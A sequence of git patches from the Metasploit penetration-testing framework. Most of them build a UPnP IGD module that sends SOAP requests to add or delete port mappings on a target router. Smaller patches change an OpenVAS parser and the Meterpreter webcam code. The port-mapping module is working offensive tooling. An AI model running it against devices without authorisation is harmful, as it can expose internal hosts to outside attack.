b/modules/auxiliary/admin/upnp/soap_addportmapping.rb @@ -19,6 +19,7 @@ class Metasploit3 < Msf::Auxiliary [ OptString.new('TARGETURI', [true, 'UPnP control URL', '/' ]), OptString.new('INTERNAL_CLIENT', [true, 'New Internal Client']), + OptEnum.new('PROTOCOL', [true, 'Transport level protocol to map', 'TCP', %w(TCP UDP)]), OptInt.new('INTERNAL_PORT', [true, 'New Internal Port']), OptInt.new('EXTERNAL_PORT', [true, 'New External Port']) ], @@ -26,6 +27,10 @@ class Metasploit3 < Msf::Auxiliary ) end + def setup + @protocol = datastore['PROTOCOL'] + end + def run content = "<?xml version=\"1.0\"?>" content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" @@ -37,7 +42,7 @@ class Metasploit3 < Msf::Auxiliary content << "<NewEnabled>1</NewEnabled>" content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>" content << "<NewRemoteHost></NewRemoteHost>" - content << "<NewProtocol>TCP</NewProtocol>" + content << "<NewProtocol>#{@protocol}</NewProtocol>" content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>" content << "</m:AddPortMapping>" content << "</SOAP-ENV:Body>" From d57041136fe6d272d68be78ed84c71458c8cfc52 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 15:09:58 -0700 Subject: [PATCH 0431/2172] Use random port mapping description --- modules/auxiliary/admin/upnp/soap_addportmapping.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/upnp/soap_addportmapping.rb b/modules/auxiliary/admin/upnp/soap_addportmapping.rb index 2270ae77b0..0e79573807 100644 --- a/modules/auxiliary/admin/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_addportmapping.rb @@ -5,6 +5,7 @@ ## require 'msf/core' + class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -36,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" content << "<SOAP-ENV:Body>" content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" - content << "<NewPortMappingDescription>New Port Mapping</NewPortMappingDescription>" + content << "<NewPortMappingDescription>#{Rex::Text.rand_text_alpha(8)}</NewPortMappingDescription>" content << "<NewLeaseDuration>3600</NewLeaseDuration>" content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>" content << "<NewEnabled>1</NewEnabled>" From 13dd8222ecf190309d004980507c275e649eeb3c Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 15:22:19 -0700 Subject: [PATCH 0432/2172] Expose lease duration as an option --- modules/auxiliary/admin/upnp/soap_addportmapping.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/admin/upnp/soap_addportmapping.rb b/modules/auxiliary/admin/upnp/soap_addportmapping.rb index 0e79573807..0ec0205ec6 100644 --- a/modules/auxiliary/admin/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_addportmapping.rb @@ -22,14 +22,14 @@ class Metasploit3 < Msf::Auxiliary OptString.new('INTERNAL_CLIENT', [true, 'New Internal Client']), OptEnum.new('PROTOCOL', [true, 'Transport level protocol to map', 'TCP', %w(TCP UDP)]), OptInt.new('INTERNAL_PORT', [true, 'New Internal Port']), - OptInt.new('EXTERNAL_PORT', [true, 'New External Port']) + OptInt.new('EXTERNAL_PORT', [true, 'New External Port']), + OptInt.new('LEASE_DURATION', [true, 'Lease time for mapping, in seconds', 3600]) ], self.class ) end def setup - @protocol = datastore['PROTOCOL'] end def run @@ -38,12 +38,12 @@ class Metasploit3 < Msf::Auxiliary content << "<SOAP-ENV:Body>" content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" content << "<NewPortMappingDescription>#{Rex::Text.rand_text_alpha(8)}</NewPortMappingDescription>" - content << "<NewLeaseDuration>3600</NewLeaseDuration>" + content << "<NewLeaseDuration>#{datastore['LEASE_DURATION']}</NewLeaseDuration>" content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>" content << "<NewEnabled>1</NewEnabled>" content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>" content << "<NewRemoteHost></NewRemoteHost>" - content << "<NewProtocol>#{@protocol}</NewProtocol>" + content << "<NewProtocol>#{datastore['PROTOCOL']}</NewProtocol>" content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>" content << "</m:AddPortMapping>" content << "</SOAP-ENV:Body>" From 35555f5f24a7a50462eab1dd950293d071686369 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 15:36:49 -0700 Subject: [PATCH 0433/2172] Make most everything configurable and provide useful output --- .../admin/upnp/soap_addportmapping.rb | 46 ++++++++++++++----- 1 file changed, 35 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/admin/upnp/soap_addportmapping.rb b/modules/auxiliary/admin/upnp/soap_addportmapping.rb index 0ec0205ec6..d8bfebc4ef 100644 --- a/modules/auxiliary/admin/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_addportmapping.rb @@ -19,7 +19,8 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [true, 'UPnP control URL', '/' ]), - OptString.new('INTERNAL_CLIENT', [true, 'New Internal Client']), + OptString.new('INTERNAL_IP', [false, 'New Internal Client']), + OptString.new('EXTERNAL_IP', [false, 'New Internal Client']), OptEnum.new('PROTOCOL', [true, 'Transport level protocol to map', 'TCP', %w(TCP UDP)]), OptInt.new('INTERNAL_PORT', [true, 'New Internal Port']), OptInt.new('EXTERNAL_PORT', [true, 'New External Port']), @@ -29,7 +30,28 @@ class Metasploit3 < Msf::Auxiliary ) end - def setup + def internal_port + @internal_port ||= datastore['INTERNAL_PORT'] + end + + def internal_ip + @internal_ip ||= datastore['INTERNAL_IP'] + end + + def external_port + @external_port ||= datastore['EXTERNAL_PORT'] + end + + def external_ip + @external_ip ||= datastore['EXTERNAL_IP'] + end + + def lease_duration + @lease_duration ||= datastore['LEASE_DURATION'] + end + + def protocol + @protocol ||= datastore['PROTOCOL'] end def run @@ -38,13 +60,13 @@ class Metasploit3 < Msf::Auxiliary content << "<SOAP-ENV:Body>" content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" content << "<NewPortMappingDescription>#{Rex::Text.rand_text_alpha(8)}</NewPortMappingDescription>" - content << "<NewLeaseDuration>#{datastore['LEASE_DURATION']}</NewLeaseDuration>" - content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>" + content << "<NewLeaseDuration>#{lease_duration}</NewLeaseDuration>" + content << "<NewInternalClient>#{internal_ip}</NewInternalClient>" content << "<NewEnabled>1</NewEnabled>" - content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>" - content << "<NewRemoteHost></NewRemoteHost>" - content << "<NewProtocol>#{datastore['PROTOCOL']}</NewProtocol>" - content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>" + content << "<NewExternalPort>#{external_port}</NewExternalPort>" + content << "<NewRemoteHost>#{external_ip}</NewRemoteHost>" + content << "<NewProtocol>#{protocol}</NewProtocol>" + content << "<NewInternalPort>#{internal_port}</NewInternalPort>" content << "</m:AddPortMapping>" content << "</SOAP-ENV:Body>" content << "</SOAP-ENV:Envelope>" @@ -59,13 +81,15 @@ class Metasploit3 < Msf::Auxiliary ) if res + map_target = Rex::Socket.source_address(rhost) + map = "#{rhost}:#{external_port}/#{protocol} -> #{internal_ip}:#{internal_port}/#{protocol}" if res.code == 200 - print_good("#{peer} successfully mapped") + print_good("#{peer} successfully mapped #{map}") else - print_error("#{peer} failed to map #{res}") + print_error("#{peer} failed to map #{map}: #{res}") end else - print_error("#{peer} no response") + print_error("#{peer} no response for mapping #{map}") end end end From 66616eeb958f52b37f656c2a0366f802c962727d Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 15:38:23 -0700 Subject: [PATCH 0434/2172] Remove unused --- modules/auxiliary/admin/upnp/soap_addportmapping.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/admin/upnp/soap_addportmapping.rb b/modules/auxiliary/admin/upnp/soap_addportmapping.rb index d8bfebc4ef..681c978987 100644 --- a/modules/auxiliary/admin/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_addportmapping.rb @@ -81,7 +81,6 @@ class Metasploit3 < Msf::Auxiliary ) if res - map_target = Rex::Socket.source_address(rhost) map = "#{rhost}:#{external_port}/#{protocol} -> #{internal_ip}:#{internal_port}/#{protocol}" if res.code == 200 print_good("#{peer} successfully mapped #{map}") From e6e05814d062fc50f905b8e3b1a1912997d01238 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 15:43:04 -0700 Subject: [PATCH 0435/2172] Use an OptAddress instead, revert back to client name --- .../admin/upnp/soap_addportmapping.rb | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/modules/auxiliary/admin/upnp/soap_addportmapping.rb b/modules/auxiliary/admin/upnp/soap_addportmapping.rb index 681c978987..d8ac917a2f 100644 --- a/modules/auxiliary/admin/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_addportmapping.rb @@ -19,11 +19,11 @@ class Metasploit3 < Msf::Auxiliary register_options( [ OptString.new('TARGETURI', [true, 'UPnP control URL', '/' ]), - OptString.new('INTERNAL_IP', [false, 'New Internal Client']), - OptString.new('EXTERNAL_IP', [false, 'New Internal Client']), + OptAddress.new('INTERNAL_CLIENT', [false, 'Internal client hostname/IP']), + OptAddress.new('EXTERNAL_CLIENT', [false, 'External client hostname/IP']), OptEnum.new('PROTOCOL', [true, 'Transport level protocol to map', 'TCP', %w(TCP UDP)]), - OptInt.new('INTERNAL_PORT', [true, 'New Internal Port']), - OptInt.new('EXTERNAL_PORT', [true, 'New External Port']), + OptInt.new('INTERNAL_PORT', [true, 'Internal port']), + OptInt.new('EXTERNAL_PORT', [true, 'External port']), OptInt.new('LEASE_DURATION', [true, 'Lease time for mapping, in seconds', 3600]) ], self.class @@ -34,16 +34,16 @@ class Metasploit3 < Msf::Auxiliary @internal_port ||= datastore['INTERNAL_PORT'] end - def internal_ip - @internal_ip ||= datastore['INTERNAL_IP'] + def internal_client + @internal_client ||= datastore['INTERNAL_CLIENT'] end def external_port @external_port ||= datastore['EXTERNAL_PORT'] end - def external_ip - @external_ip ||= datastore['EXTERNAL_IP'] + def external_client + @external_client ||= datastore['EXTERNAL_CLIENT'] end def lease_duration @@ -61,10 +61,10 @@ class Metasploit3 < Msf::Auxiliary content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" content << "<NewPortMappingDescription>#{Rex::Text.rand_text_alpha(8)}</NewPortMappingDescription>" content << "<NewLeaseDuration>#{lease_duration}</NewLeaseDuration>" - content << "<NewInternalClient>#{internal_ip}</NewInternalClient>" + content << "<NewInternalClient>#{internal_client}</NewInternalClient>" content << "<NewEnabled>1</NewEnabled>" content << "<NewExternalPort>#{external_port}</NewExternalPort>" - content << "<NewRemoteHost>#{external_ip}</NewRemoteHost>" + content << "<NewRemoteHost>#{external_client}</NewRemoteHost>" content << "<NewProtocol>#{protocol}</NewProtocol>" content << "<NewInternalPort>#{internal_port}</NewInternalPort>" content << "</m:AddPortMapping>" @@ -81,7 +81,7 @@ class Metasploit3 < Msf::Auxiliary ) if res - map = "#{rhost}:#{external_port}/#{protocol} -> #{internal_ip}:#{internal_port}/#{protocol}" + map = "#{rhost}:#{external_port}/#{protocol} -> #{internal_client}:#{internal_port}/#{protocol}" if res.code == 200 print_good("#{peer} successfully mapped #{map}") else From 436910b25f14323c26a2423aeb8d63c96b76a145 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 15:49:29 -0700 Subject: [PATCH 0436/2172] Clean up map description --- modules/auxiliary/admin/upnp/soap_addportmapping.rb | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/upnp/soap_addportmapping.rb b/modules/auxiliary/admin/upnp/soap_addportmapping.rb index d8ac917a2f..43024774fa 100644 --- a/modules/auxiliary/admin/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_addportmapping.rb @@ -70,6 +70,7 @@ class Metasploit3 < Msf::Auxiliary content << "</m:AddPortMapping>" content << "</SOAP-ENV:Body>" content << "</SOAP-ENV:Envelope>" + res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', @@ -81,7 +82,9 @@ class Metasploit3 < Msf::Auxiliary ) if res - map = "#{rhost}:#{external_port}/#{protocol} -> #{internal_client}:#{internal_port}/#{protocol}" + external_map = "#{external_client ? external_client : 'any'}:#{external_port}/#{protocol}" + internal_map = "#{internal_client ? internal_client : 'any'}:#{internal_port}/#{protocol}" + map = "#{external_map} -> #{internal_map}" if res.code == 200 print_good("#{peer} successfully mapped #{map}") else From 80f21b50c918aea25efec96107f665e7631e5b1b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 31 Aug 2015 11:47:43 -0500 Subject: [PATCH 0437/2172] Fix #4227 by improving parsing of nested elements --- lib/rex/parser/openvas_nokogiri.rb | 94 ++++++++++++++---------------- 1 file changed, 45 insertions(+), 49 deletions(-) diff --git a/lib/rex/parser/openvas_nokogiri.rb b/lib/rex/parser/openvas_nokogiri.rb index 877af4be5a..963aea8d08 100644 --- a/lib/rex/parser/openvas_nokogiri.rb +++ b/lib/rex/parser/openvas_nokogiri.rb @@ -15,6 +15,12 @@ module Parser attrs = normalize_attrs(attrs) block = @block @state[:current_tag][name] = true + + unless @text.nil? + @state[:text_backup] = @text + @text = nil + end + case name when "host" @state[:has_text] = true @@ -29,93 +35,85 @@ module Parser return if not in_tag("result") @state[:has_text] = true @state[:vuln_name] = @text.strip if @text - @text = nil when "description" @state[:has_text] = true @state[:vuln_desc] = @text.strip if @text - @text = nil when "bid" - return if not in_tag("result") - return if not in_tag("nvt") + return unless in_tag("result") + return unless in_tag("nvt") @state[:has_text] = true @state[:bid] = @text.strip if @text - @text = nil when "cve" - return if not in_tag("result") - return if not in_tag("nvt") + return unless in_tag("result") + return unless in_tag("nvt") @state[:has_text] = true @state[:cves] = @text.strip if @text - @text = nil when "risk_factor" - return if not in_tag("result") - return if not in_tag("nvt") - + return unless in_tag("result") + return unless in_tag("nvt") #we do this to clean out the buffer so to speak #if we don't set text to nil now, the text will show up later @state[:has_text] = true - @text = nil when "cvss_base" - return if not in_tag("result") - return if not in_tag("nvt") + return unless in_tag("result") + return unless in_tag("nvt") @state[:has_text] = true - @text = nil when "subnet" @state[:has_text] = true - @text = nil when "result" - return if not in_tag("results") - record_vuln + record_vuln if in_tag("results") when "threat" - return if not in_tag("ports") - return if not in_tag("port") - @state[:has_text] = true - - if not @text.index('(') - @state[:name] = nil - @state[:port] = nil - @state[:proto] = nil - @text = nil - return - end - - @state[:name] = @text.split(' ')[0] if @text - @state[:port] = @text.split('(')[1].split('/')[0] if @text - @state[:proto] = @text.split('(')[1].split('/')[1].split(')')[0] if @text - - @text = nil + @state[:has_text] = true if in_tag("ports") && in_tag("port") when "host" if in_tag('result') @state[:has_text] = true @state[:host] = @text.strip if @text - @text = nil - elsif in_tag('ports') - return if not in_tag('port') + elsif in_tag('ports') && in_tag('port') @state[:has_text] = true @state[:host] = @text.strip if @text - @text = nil end when "port" if in_tag('result') @state[:has_text] = true - if not @text.index('(') + if @text && @text.index('(') + @state[:proto] = @text.split('(')[1].split('/')[1].gsub(/\)/, '') + @state[:port] = @text.split('(')[1].split('/')[0].gsub(/\)/, '') + elsif @text && @text.index('/') + @state[:proto] = @text.split('/')[1].strip + @state[:port] = @text.split('/')[0].strip + else + @state[:proto] = nil + @state[:port] = nil + end + + if @state[:port] && @state[:port] == 'general' @state[:proto] = nil @state[:port] = nil - @text = nil - return end - @state[:proto] = @text.split('(')[0].strip if @text - @state[:port] = @text.split('(')[1].split('/')[0].gsub(/\)/, '') if @text - @text = nil elsif in_tag('ports') - record_service + if @text && @text.index('(') + @state[:name] = @text.split(' ')[0] + @state[:port] = @text.split('(')[1].split('/')[0] + @state[:proto] = @text.split('(')[1].split('/')[1].split(')')[0] + record_service unless @state[:name].nil? + elsif @text && @text.index('/') + @state[:port] = @text.split('/')[0] + @state[:proto] = @text.split('/')[1] + record_service unless @state[:port] == 'general' + end end when "name" return if not in_tag("result") @state[:has_text] = true - @text = nil + end + + if @state[:text_backup] + @text = @state[:text_backup] + @state[:text_backup] = nil else @text = nil end + @state[:current_tag].delete name end @@ -153,8 +151,6 @@ module Parser end def record_service - return if not @state[:name] - service_info = {} service_info[:host] = @state[:host] service_info[:name] = @state[:name] From fba751a986278dbb97d7419d836ffd8987ab7c13 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 31 Aug 2015 12:13:42 -0500 Subject: [PATCH 0438/2172] Disable early returns --- lib/rex/parser/openvas_nokogiri.rb | 69 +++++++++++++++--------------- 1 file changed, 35 insertions(+), 34 deletions(-) diff --git a/lib/rex/parser/openvas_nokogiri.rb b/lib/rex/parser/openvas_nokogiri.rb index 963aea8d08..07fd3c6b82 100644 --- a/lib/rex/parser/openvas_nokogiri.rb +++ b/lib/rex/parser/openvas_nokogiri.rb @@ -31,40 +31,41 @@ module Parser def end_element(name=nil) block = @block case name - when "name" - return if not in_tag("result") - @state[:has_text] = true - @state[:vuln_name] = @text.strip if @text - when "description" + when 'name' + if in_tag('result') + @state[:has_text] = true + @state[:vuln_name] = @text.strip if @text + end + when 'description' @state[:has_text] = true @state[:vuln_desc] = @text.strip if @text - when "bid" - return unless in_tag("result") - return unless in_tag("nvt") + when 'bid' + if in_tag('result') && in_tag('nvt') + @state[:has_text] = true + @state[:bid] = @text.strip if @text + end + when 'cve' + if in_tag('result') && in_tag('nvt') + @state[:has_text] = true + @state[:cves] = @text.strip if @text + end + when 'risk_factor' + if in_tag('result') && in_tag('nvt') + #we do this to clean out the buffer so to speak + #if we don't set text to nil now, the text will show up later + @state[:has_text] = true + end + when 'cvss_base' + if in_tag('result') && in_tag('nvt') + @state[:has_text] = true + end + when 'subnet' @state[:has_text] = true - @state[:bid] = @text.strip if @text - when "cve" - return unless in_tag("result") - return unless in_tag("nvt") - @state[:has_text] = true - @state[:cves] = @text.strip if @text - when "risk_factor" - return unless in_tag("result") - return unless in_tag("nvt") - #we do this to clean out the buffer so to speak - #if we don't set text to nil now, the text will show up later - @state[:has_text] = true - when "cvss_base" - return unless in_tag("result") - return unless in_tag("nvt") - @state[:has_text] = true - when "subnet" - @state[:has_text] = true - when "result" - record_vuln if in_tag("results") - when "threat" - @state[:has_text] = true if in_tag("ports") && in_tag("port") - when "host" + when 'result' + record_vuln if in_tag('results') + when 'threat' + @state[:has_text] = true if in_tag('ports') && in_tag('port') + when 'host' if in_tag('result') @state[:has_text] = true @state[:host] = @text.strip if @text @@ -72,7 +73,7 @@ module Parser @state[:has_text] = true @state[:host] = @text.strip if @text end - when "port" + when 'port' if in_tag('result') @state[:has_text] = true if @text && @text.index('(') @@ -102,8 +103,8 @@ module Parser record_service unless @state[:port] == 'general' end end - when "name" - return if not in_tag("result") + when 'name' + return if not in_tag('result') @state[:has_text] = true end From 86651346910dcc7029a40be4d46a7fc7cc26c52c Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 31 Aug 2015 10:22:36 -0700 Subject: [PATCH 0439/2172] Add add/delete action. update logging. rename module again --- ..._addportmapping.rb => soap_portmapping.rb} | 65 ++++++++++++++----- 1 file changed, 47 insertions(+), 18 deletions(-) rename modules/auxiliary/admin/upnp/{soap_addportmapping.rb => soap_portmapping.rb} (51%) diff --git a/modules/auxiliary/admin/upnp/soap_addportmapping.rb b/modules/auxiliary/admin/upnp/soap_portmapping.rb similarity index 51% rename from modules/auxiliary/admin/upnp/soap_addportmapping.rb rename to modules/auxiliary/admin/upnp/soap_portmapping.rb index 43024774fa..634c7a95ea 100644 --- a/modules/auxiliary/admin/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_portmapping.rb @@ -14,8 +14,25 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'UPnP AddPortMapping', 'Description' => 'UPnP AddPortMapping SOAP request', 'Author' => 'St0rn <fabien@anbu-pentest.com>', - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'ADD', + { + 'Description' => 'Use the AddPortMapping SOAP command to open and forward a port', + 'SOAP_ACTION' => 'AddPortMapping' + } + ], + [ 'DELETE', + { + 'Description' => 'Use the DeletePortMapping SOAP command to remove a port forwarding', + 'SOAP_ACTION' => 'DeletePortMapping' + } + ] + ], + 'DefaultAction' => 'ADD' ) + register_options( [ OptString.new('TARGETURI', [true, 'UPnP control URL', '/' ]), @@ -54,20 +71,31 @@ class Metasploit3 < Msf::Auxiliary @protocol ||= datastore['PROTOCOL'] end + def soap_action + @soap_action ||= action.opts['SOAP_ACTION'] + end + def run content = "<?xml version=\"1.0\"?>" content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" content << "<SOAP-ENV:Body>" - content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" - content << "<NewPortMappingDescription>#{Rex::Text.rand_text_alpha(8)}</NewPortMappingDescription>" - content << "<NewLeaseDuration>#{lease_duration}</NewLeaseDuration>" - content << "<NewInternalClient>#{internal_client}</NewInternalClient>" - content << "<NewEnabled>1</NewEnabled>" - content << "<NewExternalPort>#{external_port}</NewExternalPort>" - content << "<NewRemoteHost>#{external_client}</NewRemoteHost>" - content << "<NewProtocol>#{protocol}</NewProtocol>" - content << "<NewInternalPort>#{internal_port}</NewInternalPort>" - content << "</m:AddPortMapping>" + content << "<m:#{soap_action} xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" + case action.name + when 'ADD' + content << "<NewPortMappingDescription>#{Rex::Text.rand_text_alpha(8)}</NewPortMappingDescription>" + content << "<NewLeaseDuration>#{lease_duration}</NewLeaseDuration>" + content << "<NewInternalClient>#{internal_client}</NewInternalClient>" + content << "<NewEnabled>1</NewEnabled>" + content << "<NewExternalPort>#{external_port}</NewExternalPort>" + content << "<NewRemoteHost>#{external_client}</NewRemoteHost>" + content << "<NewProtocol>#{protocol}</NewProtocol>" + content << "<NewInternalPort>#{internal_port}</NewInternalPort>" + when 'DELETE' + content << "<NewExternalPort>#{external_port}</NewExternalPort>" + content << "<NewRemoteHost>#{external_client}</NewRemoteHost>" + content << "<NewProtocol>#{protocol}</NewProtocol>" + end + content << "</m:#{soap_action}>" content << "</SOAP-ENV:Body>" content << "</SOAP-ENV:Envelope>" @@ -77,21 +105,22 @@ class Metasploit3 < Msf::Auxiliary 'content-type' => 'text/xml;charset="utf-8"', 'data' => content, 'headers' => { - 'SoapAction' => 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping' + 'SoapAction' => "urn:schemas-upnp-org:service:WANIPConnection:1##{soap_action}" } ) + external_map = "#{external_client ? external_client : 'any'}:#{external_port}/#{protocol}" + internal_map = "#{internal_client ? internal_client : 'any'}:#{internal_port}/#{protocol}" + map = "#{external_map} -> #{internal_map}" + if res - external_map = "#{external_client ? external_client : 'any'}:#{external_port}/#{protocol}" - internal_map = "#{internal_client ? internal_client : 'any'}:#{internal_port}/#{protocol}" - map = "#{external_map} -> #{internal_map}" if res.code == 200 - print_good("#{peer} successfully mapped #{map}") + print_good("#{peer} #{map} #{action.name} succeeded") else - print_error("#{peer} failed to map #{map}: #{res}") + print_error("#{peer} #{map} #{action.name} failed: #{res}") end else - print_error("#{peer} no response for mapping #{map}") + print_error("#{peer} no response for #{map} #{action.name}") end end end From 44813370d54c5a73c5c6a8ad8a79d85773f5b446 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 31 Aug 2015 10:42:50 -0700 Subject: [PATCH 0440/2172] Better name, description and author --- modules/auxiliary/admin/upnp/soap_portmapping.rb | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/admin/upnp/soap_portmapping.rb b/modules/auxiliary/admin/upnp/soap_portmapping.rb index 634c7a95ea..d9177f9ca0 100644 --- a/modules/auxiliary/admin/upnp/soap_portmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_portmapping.rb @@ -11,10 +11,15 @@ class Metasploit3 < Msf::Auxiliary def initialize super( - 'Name' => 'UPnP AddPortMapping', - 'Description' => 'UPnP AddPortMapping SOAP request', - 'Author' => 'St0rn <fabien@anbu-pentest.com>', + 'Name' => 'UPnP IGD SOAP Port Mapping Utility', + 'Description' => 'Manage port mappings on UPnP IGD-capable device using the AddPortMapping and DeletePortMapping SOAP requests', + 'Author' => + [ + 'St0rn <fabien[at]anbu-pentest.com>', # initial module + 'Jon Hart <jon_hart[at]rapid7.com>' # module cleanup and refactoring + ], 'License' => MSF_LICENSE, + 'DefaultAction' => 'ADD', 'Actions' => [ [ 'ADD', @@ -30,7 +35,6 @@ class Metasploit3 < Msf::Auxiliary } ] ], - 'DefaultAction' => 'ADD' ) register_options( From c14cae14253da70374358b8d115d34dd53bb8e05 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 31 Aug 2015 11:30:18 -0700 Subject: [PATCH 0441/2172] Make INTERNAL_PORT optional, allowing DELETE to work --- modules/auxiliary/admin/upnp/soap_portmapping.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/upnp/soap_portmapping.rb b/modules/auxiliary/admin/upnp/soap_portmapping.rb index d9177f9ca0..e9fc66c080 100644 --- a/modules/auxiliary/admin/upnp/soap_portmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_portmapping.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Auxiliary OptAddress.new('INTERNAL_CLIENT', [false, 'Internal client hostname/IP']), OptAddress.new('EXTERNAL_CLIENT', [false, 'External client hostname/IP']), OptEnum.new('PROTOCOL', [true, 'Transport level protocol to map', 'TCP', %w(TCP UDP)]), - OptInt.new('INTERNAL_PORT', [true, 'Internal port']), + OptInt.new('INTERNAL_PORT', [false, 'Internal port']), OptInt.new('EXTERNAL_PORT', [true, 'External port']), OptInt.new('LEASE_DURATION', [true, 'Lease time for mapping, in seconds', 3600]) ], From fe69fc84ded51cf38332aab0333985dfc83bf68b Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 31 Aug 2015 13:38:08 -0500 Subject: [PATCH 0442/2172] expand the path environment variables before executing --- lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 683c1173e2..0dcb281df7 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -112,7 +112,7 @@ class Webcam paths.each do |browser_path| if file?(browser_path) - found_browser_path = browser_path + found_browser_path = client.fs.file.expand_path(browser_path) break end end From 9a2696aed4b36a6a4b0ec8c1062377f8373224d4 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Mon, 31 Aug 2015 12:03:17 -0700 Subject: [PATCH 0443/2172] Add Reference --- modules/auxiliary/admin/upnp/soap_portmapping.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/admin/upnp/soap_portmapping.rb b/modules/auxiliary/admin/upnp/soap_portmapping.rb index e9fc66c080..001934246f 100644 --- a/modules/auxiliary/admin/upnp/soap_portmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_portmapping.rb @@ -19,6 +19,7 @@ class Metasploit3 < Msf::Auxiliary 'Jon Hart <jon_hart[at]rapid7.com>' # module cleanup and refactoring ], 'License' => MSF_LICENSE, + 'References' => [['URL', 'http://www.upnp-hacks.org/igd.html']], 'DefaultAction' => 'ADD', 'Actions' => [ From a51d3df7536c785122ad19a7c22d86b73136ae95 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 31 Aug 2015 14:18:55 -0500 Subject: [PATCH 0444/2172] typo --- data/webcam/offerer.html | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/data/webcam/offerer.html b/data/webcam/offerer.html index 8bd7cb5a48..eaa58ebbcf 100644 --- a/data/webcam/offerer.html +++ b/data/webcam/offerer.html @@ -169,7 +169,7 @@ userid: 'self', stream: stream }); - + callback(stream); }); } 